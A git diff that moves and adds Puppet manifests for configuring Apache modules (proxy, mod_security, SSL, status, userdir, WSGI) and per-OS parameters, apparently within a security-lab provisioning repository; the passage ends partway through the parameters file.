a/modules/services/unix/http/apache/manifests/mod/prefork.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/prefork.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/prefork.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/prefork.pp diff --git a/modules/services/unix/http/apache/manifests/mod/proxy.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy.pp diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_ajp.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_ajp.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy_ajp.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_ajp.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_balancer.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_balancer.pp new file mode 100644 index 000000000..dbc86df42 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_balancer.pp @@ -0,0 +1,29 @@ +class apache::mod::proxy_balancer( + Boolean $manager = false, + Stdlib::Absolutepath $manager_path = '/balancer-manager', + Array $allow_from = ['127.0.0.1','::1'], + $apache_version = $::apache::apache_version, +) { + + include ::apache::mod::proxy + include ::apache::mod::proxy_http + if versioncmp($apache_version, '2.4') >= 0 { + ::apache::mod { 'slotmem_shm': } + } + + Class['::apache::mod::proxy'] -> Class['::apache::mod::proxy_balancer'] + Class['::apache::mod::proxy_http'] -> Class['::apache::mod::proxy_balancer'] + ::apache::mod { 'proxy_balancer': } + if $manager { + include ::apache::mod::status + file { 'proxy_balancer.conf': + ensure => file, + path => "${::apache::mod_dir}/proxy_balancer.conf", + mode => $::apache::file_mode, + content => template('apache/mod/proxy_balancer.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_connect.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_connect.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy_connect.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_connect.pp diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_fcgi.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_fcgi.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy_fcgi.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_fcgi.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_html.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_html.pp new file mode 100644 index 000000000..94259bd77 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_html.pp @@ -0,0 +1,42 @@ +class apache::mod::proxy_html { + include ::apache + Class['::apache::mod::proxy'] -> Class['::apache::mod::proxy_html'] + Class['::apache::mod::proxy_http'] -> Class['::apache::mod::proxy_html'] + + # Add libxml2 + case $::osfamily { + /RedHat|FreeBSD|Gentoo|Suse/: { + ::apache::mod { 'xml2enc': } + $loadfiles = undef + } + 'Debian': { + $gnu_path = $::hardwaremodel ? { + 'i686' => 'i386', + default => $::hardwaremodel, + } + $loadfiles = $::apache::params::distrelease ? { + '6' => ['/usr/lib/libxml2.so.2'], + '10' => ['/usr/lib/libxml2.so.2'], + default => ["/usr/lib/${gnu_path}-linux-gnu/libxml2.so.2"], + } + if versioncmp($::apache::apache_version, '2.4') >= 0 { + ::apache::mod { 'xml2enc': } + } + } + } + + ::apache::mod { 'proxy_html': + loadfiles => $loadfiles, + } + + # Template uses $icons_path + file { 'proxy_html.conf': + ensure => file, + path => "${::apache::mod_dir}/proxy_html.conf", + mode => $::apache::file_mode, + content => template('apache/mod/proxy_html.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_http.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_http.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy_http.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_http.pp diff --git a/modules/services/unix/http/apache/manifests/mod/proxy_wstunnel.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_wstunnel.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/proxy_wstunnel.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/proxy_wstunnel.pp diff --git a/modules/services/unix/http/apache/manifests/mod/python.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/python.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/python.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/python.pp diff --git a/modules/services/unix/http/apache/manifests/mod/remoteip.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/remoteip.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/remoteip.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/remoteip.pp diff --git a/modules/services/unix/http/apache/manifests/mod/reqtimeout.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/reqtimeout.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/reqtimeout.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/reqtimeout.pp diff --git a/modules/services/unix/http/apache/manifests/mod/rewrite.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/rewrite.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/rewrite.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/rewrite.pp diff --git a/modules/services/unix/http/apache/manifests/mod/rpaf.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/rpaf.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/rpaf.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/rpaf.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/security.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/security.pp new file mode 100644 index 000000000..95c58a033 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/security.pp @@ -0,0 +1,133 @@ +class apache::mod::security ( + $logroot = $::apache::params::logroot, + $crs_package = $::apache::params::modsec_crs_package, + $activated_rules = $::apache::params::modsec_default_rules, + $modsec_dir = $::apache::params::modsec_dir, + $modsec_secruleengine = $::apache::params::modsec_secruleengine, + $audit_log_relevant_status = '^(?:5|4(?!04))', + $audit_log_parts = $::apache::params::modsec_audit_log_parts, + $secpcrematchlimit = $::apache::params::secpcrematchlimit, + $secpcrematchlimitrecursion = $::apache::params::secpcrematchlimitrecursion, + $allowed_methods = 'GET HEAD POST OPTIONS', + $content_types = 'application/x-www-form-urlencoded|multipart/form-data|text/xml|application/xml|application/x-amf', + $restricted_extensions = '.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/', + $restricted_headers = '/Proxy-Connection/ /Lock-Token/ /Content-Range/ /Translate/ /via/ /if/', + $secdefaultaction = 'deny', + $anomaly_score_blocking = 'off', + $inbound_anomaly_threshold = '5', + $outbound_anomaly_threshold = '4', + $critical_anomaly_score = '5', + $error_anomaly_score = '4', + $warning_anomaly_score = '3', + $notice_anomaly_score = '2', + $secrequestmaxnumargs = '255', + $secrequestbodylimit = '13107200', + $secrequestbodynofileslimit = '131072', + $secrequestbodyinmemorylimit = '131072', + $manage_security_crs = true, +) inherits ::apache::params { + include ::apache + + $_secdefaultaction = $secdefaultaction ? { + /log/ => $secdefaultaction, # it has log or nolog,auditlog or log,noauditlog + default => "${secdefaultaction},log", + } + + if $::osfamily == 'FreeBSD' { + fail('FreeBSD is not currently supported') + } + + if ($::osfamily == 'Suse' and $::operatingsystemrelease < '11') { + fail('SLES 10 is not currently supported.') + } + + ::apache::mod { 'security': + id => 'security2_module', + lib => 'mod_security2.so', + } + + + ::apache::mod { 'unique_id_module': + id => 'unique_id_module', + lib => 'mod_unique_id.so', + } + + if $crs_package { + package { $crs_package: + ensure => 'installed', + before => [ + File[$::apache::confd_dir], + File[$modsec_dir], + ], + } + } + + # Template uses: + # - logroot + # - $modsec_dir + # - $audit_log_parts + # - secpcrematchlimit + # - secpcrematchlimitrecursion + # - secrequestbodylimit + # - secrequestbodynofileslimit + # - secrequestbodyinmemorylimit + file { 'security.conf': + ensure => file, + content => template('apache/mod/security.conf.erb'), + mode => $::apache::file_mode, + path => "${::apache::mod_dir}/security.conf", + owner => $::apache::params::user, + group => $::apache::params::group, + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + + file { $modsec_dir: + ensure => directory, + owner => 'root', + group => 'root', + mode => '0755', + purge => true, + force => true, + recurse => true, + require => Package['httpd'], + } + + file { "${modsec_dir}/activated_rules": + ensure => directory, + owner => $::apache::params::user, + group => $::apache::params::group, + mode => '0555', + purge => true, + force => true, + recurse => true, + notify => Class['apache::service'], + } + + if $manage_security_crs { + # Template uses: + # - $_secdefaultaction + # - $critical_anomaly_score + # - $error_anomaly_score + # - $warning_anomaly_score + # - $notice_anomaly_score + # - $inbound_anomaly_threshold + # - $outbound_anomaly_threshold + # - $anomaly_score_blocking + # - $allowed_methods + # - $content_types + # - $restricted_extensions + # - $restricted_headers + # - $secrequestmaxnumargs + file { "${modsec_dir}/security_crs.conf": + ensure => file, + content => template('apache/mod/security_crs.conf.erb'), + require => File[$modsec_dir], + notify => Class['apache::service'], + } + } + + unless $::operatingsystem == 'SLES' { apache::security::rule_link { $activated_rules: } } + +} diff --git a/modules/services/unix/http/apache/manifests/mod/setenvif.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/setenvif.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/setenvif.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/setenvif.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/shib.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/shib.pp new file mode 100644 index 000000000..318a3a340 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/shib.pp @@ -0,0 +1,20 @@ +class apache::mod::shib ( + $suppress_warning = false, + $mod_full_path = undef, + $package_name = undef, + $mod_lib = undef, +) { + include ::apache + if $::osfamily == 'RedHat' and ! $suppress_warning { + warning('RedHat distributions do not have Apache mod_shib in their default package repositories.') + } + + $mod_shib = 'shib2' + + apache::mod {$mod_shib: + id => 'mod_shib', + path => $mod_full_path, + package => $package_name, + lib => $mod_lib, + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/socache_shmcb.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/socache_shmcb.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/socache_shmcb.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/socache_shmcb.pp diff --git a/modules/services/unix/http/apache/manifests/mod/speling.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/speling.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/speling.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/speling.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ssl.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ssl.pp new file mode 100644 index 000000000..d27b6b8ee --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ssl.pp @@ -0,0 +1,118 @@ +class apache::mod::ssl ( + Boolean $ssl_compression = false, + $ssl_cryptodevice = 'builtin', + $ssl_options = [ 'StdEnvVars' ], + $ssl_openssl_conf_cmd = undef, + $ssl_ca = undef, + $ssl_cipher = 'HIGH:MEDIUM:!aNULL:!MD5:!RC4:!3DES', + Variant[Boolean, Enum['on', 'off']] $ssl_honorcipherorder = true, + $ssl_protocol = [ 'all', '-SSLv2', '-SSLv3' ], + Array $ssl_proxy_protocol = [], + $ssl_pass_phrase_dialog = 'builtin', + $ssl_random_seed_bytes = '512', + String $ssl_sessioncache = $::apache::params::ssl_sessioncache, + $ssl_sessioncachetimeout = '300', + Boolean $ssl_stapling = false, + Optional[Boolean] $ssl_stapling_return_errors = undef, + $ssl_mutex = undef, + $apache_version = undef, + $package_name = undef, +) inherits ::apache::params { + + include ::apache + include ::apache::mod::mime + $_apache_version = pick($apache_version, $apache::apache_version) + if $ssl_mutex { + $_ssl_mutex = $ssl_mutex + } else { + case $::osfamily { + 'debian': { + if versioncmp($_apache_version, '2.4') >= 0 { + $_ssl_mutex = 'default' + } elsif $::operatingsystem == 'Ubuntu' and $::operatingsystemrelease == '10.04' { + $_ssl_mutex = 'file:/var/run/apache2/ssl_mutex' + } else { + $_ssl_mutex = "file:\${APACHE_RUN_DIR}/ssl_mutex" + } + } + 'redhat': { + $_ssl_mutex = 'default' + } + 'freebsd': { + $_ssl_mutex = 'default' + } + 'gentoo': { + $_ssl_mutex = 'default' + } + 'Suse': { + $_ssl_mutex = 'default' + } + default: { + fail("Unsupported osfamily ${::osfamily}, please explicitly pass in \$ssl_mutex") + } + } + } + + if is_bool($ssl_honorcipherorder) { + $_ssl_honorcipherorder = $ssl_honorcipherorder + } else { + $_ssl_honorcipherorder = $ssl_honorcipherorder ? { + 'on' => true, + 'off' => false, + default => true, + } + } + + $stapling_cache = $::osfamily ? { + 'debian' => "\${APACHE_RUN_DIR}/ocsp(32768)", + 'redhat' => '/run/httpd/ssl_stapling(32768)', + 'freebsd' => '/var/run/ssl_stapling(32768)', + 'gentoo' => '/var/run/ssl_stapling(32768)', + 'Suse' => '/var/lib/apache2/ssl_stapling(32768)', + } + + if $::osfamily == 'Suse' { + if defined(Class['::apache::mod::worker']){ + $suse_path = '/usr/lib64/apache2-worker' + } else { + $suse_path = '/usr/lib64/apache2-worker' + } + ::apache::mod { 'ssl': + package => $package_name, + lib_path => $suse_path, + } + } else { + ::apache::mod { 'ssl': + package => $package_name, + } + } + + if versioncmp($_apache_version, '2.4') >= 0 { + include ::apache::mod::socache_shmcb + } + + # Template uses + # + # $ssl_compression + # $ssl_cryptodevice + # $ssl_ca + # $ssl_cipher + # $ssl_honorcipherorder + # $ssl_options + # $ssl_openssl_conf_cmd + # $ssl_sessioncache + # $stapling_cache + # $ssl_mutex + # $ssl_random_seed_bytes + # $ssl_sessioncachetimeout + # $_apache_version + file { 'ssl.conf': + ensure => file, + path => $::apache::_ssl_file, + mode => $::apache::file_mode, + content => template('apache/mod/ssl.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/status.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/status.pp new file mode 100644 index 000000000..54d0d8887 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/status.pp @@ -0,0 +1,48 @@ +# Class: apache::mod::status +# +# This class enables and configures Apache mod_status +# See: http://httpd.apache.org/docs/current/mod/mod_status.html +# +# Parameters: +# - $allow_from is an array of hosts, ip addresses, partial network numbers +# or networks in CIDR notation specifying what hosts can view the special +# /server-status URL. Defaults to ['127.0.0.1', '::1']. +# - $extended_status track and display extended status information. Valid +# values are 'On' or 'Off'. Defaults to 'On'. +# - $status_path is the path assigned to the Location directive which +# defines the URL to access the server status. Defaults to '/server-status'. +# +# Actions: +# - Enable and configure Apache mod_status +# +# Requires: +# - The apache class +# +# Sample Usage: +# +# # Simple usage allowing access from localhost and a private subnet +# class { 'apache::mod::status': +# $allow_from => ['127.0.0.1', '10.10.10.10/24'], +# } +# +class apache::mod::status ( + Array $allow_from = ['127.0.0.1','::1'], + Enum['On', 'Off', 'on', 'off'] $extended_status = 'On', + $apache_version = undef, + $status_path = '/server-status', +) inherits ::apache::params { + + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + ::apache::mod { 'status': } + # Template uses $allow_from, $extended_status, $_apache_version, $status_path + file { 'status.conf': + ensure => file, + path => "${::apache::mod_dir}/status.conf", + mode => $::apache::file_mode, + content => template('apache/mod/status.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/suexec.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/suexec.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/suexec.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/suexec.pp diff --git a/modules/services/unix/http/apache/manifests/mod/suphp.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/suphp.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/suphp.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/suphp.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/userdir.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/userdir.pp new file mode 100644 index 000000000..203b93dd1 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/userdir.pp @@ -0,0 +1,40 @@ +class apache::mod::userdir ( + $home = undef, + $dir = undef, + $disable_root = true, + $apache_version = undef, + $path = '/home/*/public_html', + $overrides = [ 'FileInfo', 'AuthConfig', 'Limit', 'Indexes' ], + $options = [ 'MultiViews', 'Indexes', 'SymLinksIfOwnerMatch', 'IncludesNoExec' ], +) { + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + + if $home or $dir { + $_home = $home ? { + undef => '/home', + default => $home, + } + $_dir = $dir ? { + undef => 'public_html', + default => $dir, + } + warning('home and dir are deprecated; use path instead') + $_path = "${_home}/*/${_dir}" + } else { + $_path = $path + } + + ::apache::mod { 'userdir': } + + # Template uses $home, $dir, $disable_root, $_apache_version + file { 'userdir.conf': + ensure => file, + path => "${::apache::mod_dir}/userdir.conf", + mode => $::apache::file_mode, + content => template('apache/mod/userdir.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/version.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/version.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/version.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/version.pp diff --git a/modules/services/unix/http/apache/manifests/mod/vhost_alias.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/vhost_alias.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/vhost_alias.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/vhost_alias.pp diff --git a/modules/services/unix/http/apache/manifests/mod/worker.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/worker.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/worker.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/worker.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/wsgi.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/wsgi.pp new file mode 100644 index 000000000..6f9d4379a --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/wsgi.pp @@ -0,0 +1,44 @@ +class apache::mod::wsgi ( + $wsgi_restrict_embedded = undef, + $wsgi_socket_prefix = $::apache::params::wsgi_socket_prefix, + $wsgi_python_path = undef, + $wsgi_python_home = undef, + $package_name = undef, + $mod_path = undef, +) inherits ::apache::params { + include ::apache + if ($package_name != undef and $mod_path == undef) or ($package_name == undef and $mod_path != undef) { + fail('apache::mod::wsgi - both package_name and mod_path must be specified!') + } + + if $package_name != undef { + if $mod_path =~ /\// { + $_mod_path = $mod_path + } else { + $_mod_path = "${::apache::lib_path}/${mod_path}" + } + ::apache::mod { 'wsgi': + package => $package_name, + path => $_mod_path, + } + } + else { + ::apache::mod { 'wsgi': } + } + + # Template uses: + # - $wsgi_restrict_embedded + # - $wsgi_socket_prefix + # - $wsgi_python_path + # - $wsgi_python_home + file {'wsgi.conf': + ensure => file, + path => "${::apache::mod_dir}/wsgi.conf", + mode => $::apache::file_mode, + content => template('apache/mod/wsgi.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} + diff --git a/modules/services/unix/http/apache/manifests/mod/xsendfile.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/xsendfile.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/xsendfile.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/xsendfile.pp diff --git a/modules/services/unix/http/apache/manifests/mpm.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mpm.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mpm.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mpm.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/namevirtualhost.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/namevirtualhost.pp new file mode 100644 index 000000000..4fa879518 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/namevirtualhost.pp @@ -0,0 +1,9 @@ +define apache::namevirtualhost { + $addr_port = $name + + # Template uses: $addr_port + concat::fragment { "NameVirtualHost ${addr_port}": + target => $::apache::ports_file, + content => template('apache/namevirtualhost.erb'), + } +} diff --git a/modules/services/unix/http/apache/manifests/package.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/package.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/package.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/package.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/params.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/params.pp new file mode 100644 index 000000000..a74bbaf48 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/params.pp @@ -0,0 +1,601 @@ +# Class: apache::params +# +# This class manages Apache parameters +# +# Parameters: +# - The $user that Apache runs as +# - The $group that Apache runs as +# - The $apache_name is the name of the package and service on the relevant +# distribution +# - The $php_package is the name of the package that provided PHP +# - The $ssl_package is the name of the Apache SSL package +# - The $apache_dev is the name of the Apache development libraries package +# - The $conf_contents is the contents of the Apache configuration file +# +# Actions: +# +# Requires: +# +# Sample Usage: +# +class apache::params inherits ::apache::version { + if($::fqdn) { + $servername = $::fqdn + } else { + $servername = $::hostname + } + + # The default error log level + $log_level = 'warn' + $use_optional_includes = false + + # Default mime types settings + $mime_types_additional = { + 'AddHandler' => { 'type-map' => 'var', }, + 'AddType' => { 'text/html' => '.shtml', }, + 'AddOutputFilter' => { 'INCLUDES' => '.shtml', }, + } + + # should we use systemd module? + $use_systemd = true + + # Default mode for files + $file_mode = '0644' + + # Default options for / directory + $root_directory_options = ['FollowSymLinks'] + + $vhost_include_pattern = '*' + + $modsec_audit_log_parts = 'ABIJDEFHZ' + + if ($::operatingsystem == 'Ubuntu' and $::lsbdistrelease == '10.04') or ($::operatingsystem == 'SLES') { + $verify_command = '/usr/sbin/apache2ctl -t' + } elsif $::operatingsystem == 'FreeBSD' { + $verify_command = '/usr/local/sbin/apachectl -t' + } else { + $verify_command = '/usr/sbin/apachectl -t' + } + if $::osfamily == 'RedHat' or $::operatingsystem =~ /^[Aa]mazon$/ { + $user = 'apache' + $group = 'apache' + $root_group = 'root' + $apache_name = 'httpd' + $service_name = 'httpd' + $httpd_dir = '/etc/httpd' + $server_root = '/etc/httpd' + $conf_dir = "${httpd_dir}/conf" + $confd_dir = "${httpd_dir}/conf.d" + $mod_dir = $::apache::version::distrelease ? { + '7' => "${httpd_dir}/conf.modules.d", + default => "${httpd_dir}/conf.d", + } + $mod_enable_dir = undef + $vhost_dir = "${httpd_dir}/conf.d" + $vhost_enable_dir = undef + $conf_file = 'httpd.conf' + $ports_file = "${conf_dir}/ports.conf" + $pidfile = 'run/httpd.pid' + $logroot = '/var/log/httpd' + $logroot_mode = undef + $lib_path = 'modules' + $mpm_module = 'prefork' + $dev_packages = 'httpd-devel' + $default_ssl_cert = '/etc/pki/tls/certs/localhost.crt' + $default_ssl_key = '/etc/pki/tls/private/localhost.key' + $ssl_certs_dir = '/etc/pki/tls/certs' + $ssl_sessioncache = '/var/cache/mod_ssl/scache(512000)' + $passenger_conf_file = 'passenger_extra.conf' + $passenger_conf_package_file = 'passenger.conf' + $passenger_root = undef + $passenger_ruby = undef + $passenger_default_ruby = undef + $suphp_addhandler = 'php5-script' + $suphp_engine = 'off' + $suphp_configpath = undef + $php_version = '5' + $mod_packages = { + # NOTE: The auth_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL. + 'auth_cas' => 'mod_auth_cas', + 'auth_kerb' => 'mod_auth_kerb', + 'auth_mellon' => 'mod_auth_mellon', + 'authnz_ldap' => $::apache::version::distrelease ? { + '7' => 'mod_ldap', + default => 'mod_authz_ldap', + }, + 'authnz_pam' => 'mod_authnz_pam', + 'fastcgi' => 'mod_fastcgi', + 'fcgid' => 'mod_fcgid', + 'geoip' => 'mod_geoip', + 'intercept_form_submit' => 'mod_intercept_form_submit', + 'ldap' => $::apache::version::distrelease ? { + '7' => 'mod_ldap', + default => undef, + }, + 'lookup_identity' => 'mod_lookup_identity', + 'pagespeed' => 'mod-pagespeed-stable', + # NOTE: The passenger module isn't available on RH/CentOS without + # providing dependency packages provided by EPEL and passenger + # repositories. See + # https://www.phusionpassenger.com/library/install/apache/install/oss/el7/ + 'passenger' => 'mod_passenger', + 'perl' => 'mod_perl', + 'php5' => $::apache::version::distrelease ? { + '5' => 'php53', + default => 'php', + }, + 'phpXXX' => 'php', + 'proxy_html' => 'mod_proxy_html', + 'python' => 'mod_python', + 'security' => 'mod_security', + # NOTE: The module for Shibboleth is not available on RH/CentOS without + # providing dependency packages provided by Shibboleth's repositories. + # See http://wiki.aaf.edu.au/tech-info/sp-install-guide + 'shibboleth' => 'shibboleth', + 'ssl' => 'mod_ssl', + 'wsgi' => 'mod_wsgi', + 'dav_svn' => 'mod_dav_svn', + 'suphp' => 'mod_suphp', + 'xsendfile' => 'mod_xsendfile', + 'nss' => 'mod_nss', + 'shib2' => 'shibboleth', + } + $mod_libs = { + 'nss' => 'libmodnss.so', + } + $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef + $keepalive = 'On' + $keepalive_timeout = 15 + $max_keepalive_requests = 100 + $fastcgi_lib_path = undef + $mime_support_package = 'mailcap' + $mime_types_config = '/etc/mime.types' + $docroot = '/var/www/html' + $alias_icons_path = $::apache::version::distrelease ? { + '7' => '/usr/share/httpd/icons', + default => '/var/www/icons', + } + $error_documents_path = $::apache::version::distrelease ? { + '7' => '/usr/share/httpd/error', + default => '/var/www/error' + } + if $::osfamily == 'RedHat' { + $wsgi_socket_prefix = '/var/run/wsgi' + } else { + $wsgi_socket_prefix = undef + } + $cas_cookie_path = '/var/cache/mod_auth_cas/' + $mellon_lock_file = '/run/mod_auth_mellon/lock' + $mellon_cache_size = 100 + $mellon_post_directory = undef + $modsec_crs_package = 'mod_security_crs' + $modsec_crs_path = '/usr/lib/modsecurity.d' + $modsec_dir = '/etc/httpd/modsecurity.d' + $secpcrematchlimit = 1500 + $secpcrematchlimitrecursion = 1500 + $modsec_secruleengine = 'On' + $modsec_default_rules = [ + 'base_rules/modsecurity_35_bad_robots.data', + 'base_rules/modsecurity_35_scanners.data', + 'base_rules/modsecurity_40_generic_attacks.data', + 'base_rules/modsecurity_50_outbound.data', + 'base_rules/modsecurity_50_outbound_malware.data', + 'base_rules/modsecurity_crs_20_protocol_violations.conf', + 'base_rules/modsecurity_crs_21_protocol_anomalies.conf', + 'base_rules/modsecurity_crs_23_request_limits.conf', + 'base_rules/modsecurity_crs_30_http_policy.conf', + 'base_rules/modsecurity_crs_35_bad_robots.conf', + 'base_rules/modsecurity_crs_40_generic_attacks.conf', + 'base_rules/modsecurity_crs_41_sql_injection_attacks.conf', + 'base_rules/modsecurity_crs_41_xss_attacks.conf', + 'base_rules/modsecurity_crs_42_tight_security.conf', + 'base_rules/modsecurity_crs_45_trojans.conf', + 'base_rules/modsecurity_crs_47_common_exceptions.conf', + 'base_rules/modsecurity_crs_49_inbound_blocking.conf', + 'base_rules/modsecurity_crs_50_outbound.conf', + 'base_rules/modsecurity_crs_59_outbound_blocking.conf', + 'base_rules/modsecurity_crs_60_correlation.conf', + ] + $error_log = 'error_log' + $scriptalias = '/var/www/cgi-bin' + $access_log_file = 'access_log' + } elsif $::osfamily == 'Debian' { + $user = 'www-data' + $group = 'www-data' + $root_group = 'root' + $apache_name = 'apache2' + $service_name = 'apache2' + $httpd_dir = '/etc/apache2' + $server_root = '/etc/apache2' + $conf_dir = $httpd_dir + 